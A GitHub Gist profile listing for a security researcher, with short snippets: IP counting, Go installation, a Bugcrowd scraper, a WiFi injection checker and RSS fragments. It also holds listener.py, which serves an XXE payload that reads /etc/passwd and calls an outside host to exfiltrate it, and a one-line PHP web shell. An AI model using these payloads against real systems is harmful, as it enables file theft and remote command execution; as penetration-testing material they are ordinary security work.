Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am fyoorer on github.
  • I am fyoorer (https://keybase.io/fyoorer) on keybase.
  • I have a public key ASCZlCT9xEtOkvrd05aMr10cwQd1X1BI9W4nBWGfL72J6Qo

To claim this, I am signing this object:

@fyoorer
fyoorer / ipcounter.py
Created July 9, 2020 16:30
Count number of ips in a file with cidr range per line
dict={}
for i in range(1,33):
dict[i]=2**(32-i)
with open('amz.txt') as f:
for line in f:
sn = line.split('/')[1]
cur = dict[int(sn.strip())]
ipcount = ipcount + cur
@fyoorer
fyoorer / golang.sh
Last active October 27, 2019 17:33
#!/bin/bash
set -e
GVERSION="1.13.3"
GFILE="go$GVERSION.linux-amd64.tar.gz"
GOPATH="$HOME/projects/go"
GOROOT="/usr/local/go"
if [ -d $GOROOT ]; then
echo "Installation directories already exist $GOROOT"
@fyoorer
fyoorer / listener.py
Created April 29, 2019 15:51
listen for connections and respond with xml
import socket
import sys
HOST = '' # Symbolic name, meaning all available interfaces
PORT = 8000 # Arbitrary non-privileged port
resp='<?xml version="1.0" encoding="utf-8"?><!DOCTYPE roottag [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://123.236.165.101/host2.dtd">%dtd;]><roottag>&send;</roottag>'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:cc="http://web.resource.org/cc/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:media="http://search.yahoo.com/mrss/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<channel>
<atom:link href="http://dataskeptic.libsyn.com/rss" rel="self" type="application/rss+xml"/>
<title>Data Skeptic</title>
<pubDate>Fri, 15 Jan 2016 15:00:00 +0000</pubDate>
<lastBuildDate>Fri, 15 Jan 2016 15:08:58 +0000</lastBuildDate>
<generator>Libsyn WebEngine 2.0</generator>
<link>http://dataskeptic.com</link>
<language>en</language>
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:cc="http://web.resource.org/cc/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:media="http://search.yahoo.com/mrss/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<channel>
<atom:link href="http://dataskeptic.libsyn.com/rss" rel="self" type="application/rss+xml"/>
<title>Data Skeptic</title>
<pubDate>Fri, 15 Jan 2016 15:00:00 +0000</pubDate>
<lastBuildDate>Fri, 15 Jan 2016 15:08:58 +0000</lastBuildDate>
<generator>Libsyn WebEngine 2.0</generator>
<link>http://dataskeptic.com</link>
<language>en</language>
@fyoorer
fyoorer / bc_list.py
Last active October 20, 2015 14:44
Fetch links from bugcrowd's list
import requests
from bs4 import BeautifulSoup
bugcrowdlist=requests.get('https://bugcrowd.com/list-of-bug-bounty-programs/')
soup=BeautifulSoup(bugcrowdlist.content)
#print soup
anchors=soup.findAll("a", { "class" : "tracked" })
fil=open('alldata.txt','w')
<?php system($_GET['cmd']); ?>
@fyoorer
fyoorer / checkinjection.sh
Created July 9, 2013 05:33
Simple shell script to check injection on a given AP.
#!/bin/bash
#syntax: checkinjection.sh -i IFACE -b BSSID -c CHANNEL
IFACE=$2
BSSID=$4
CHANNEL=$6
sudo iwconfig $IFACE channel $CHANNEL
sleep 3
INJ=$(aireplay-ng -9 -a $BSSID $IFACE | grep -A 2 "$BSSID" | tail -n 1 | cut -d " " -f 4 | tr "%" " ")